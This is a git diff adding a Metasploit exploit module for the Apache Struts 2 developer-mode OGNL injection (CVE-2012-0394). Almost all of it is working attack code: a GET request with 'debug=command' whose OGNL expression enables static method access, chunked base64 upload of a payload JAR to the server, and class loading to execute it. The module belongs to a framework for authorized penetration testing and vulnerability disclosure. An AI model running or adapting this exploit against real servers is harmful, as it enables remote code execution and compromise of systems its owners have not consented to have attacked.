diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb new file mode 100644 index 0000000000..f99465c930 --- /dev/null +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Developer Mode OGNL Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache + Struts 2. The problem exists on applications running in developer mode, + where the DebuggingInterceptor allows evaluation and execution of OGNL + expressions, which allows remote attackers to execute arbitrary Java + code. This module has been tested successfully in Struts 2.3.16, Tomcat + 7 and Ubuntu 10.04. + }, + 'Author' => + [ + 'Johannes Dahse', # Vulnerability discovery and PoC + 'Andreas Nusser', # Vulnerability discovery and PoC + 'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\ + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-0394'], + [ 'OSVDB', '78276'], + [ 'EDB', '18329'], + [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ], + [ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Privileged' => true, + 'Targets' => + [ + [ 'Struts 2', { } ] + ], + 'DisclosureDate' => 'Jan 06 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]) + ], self.class) + end + + def check + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + + res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})") + + if res and res.code == 200 and res.body.to_i == sum + return Exploit::CheckCode::Vulnerable + end + + if res and res.code == 200 and res.body.to_s =~ /#{sum}/ + return Exploit::CheckCode::Appears + end + + return CheckCode::Safe + end + + def exploit + @payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar" + + upload_jar + execute_jar + end + + def upload_jar + append = 'false' + jar = payload.encoded_jar.pack + chunk_length = 384 # 512 bytes when base64 encoded + + while(jar.length > chunk_length) + java_upload_part(jar[0, chunk_length], @payload_jar, append) + jar = jar[chunk_length, jar.length - chunk_length] + append='true' + end + java_upload_part(jar, @payload_jar, append) + end + + def java_upload_part(part, filename, append = 'false') + cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append})," + cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," + cmd << "#f.close()" + execute_command(cmd) + end + + def execute_jar + cmd = "" + # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1 + cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," + cmd << "#q.setAccessible(true),#q.set(null,true)," + cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," + cmd << "#q.setAccessible(true),#q.set(null,false)," + # create classloader + cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()})," + # load class + cmd << "#c=#cl.loadClass('metasploit.Payload')," + # invoke main method + cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" + cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" + execute_command(cmd) + end + + def execute_command(cmd) + injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD" + injection.gsub!(/CMD/, Rex::Text.uri_encode(cmd)) + + vprint_status("Attempting to execute: #{cmd}") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'encode_params' => false, + 'vars_get' => + { + 'debug' => 'command', + 'expression' => injection + } + }) + + return res + end + + +end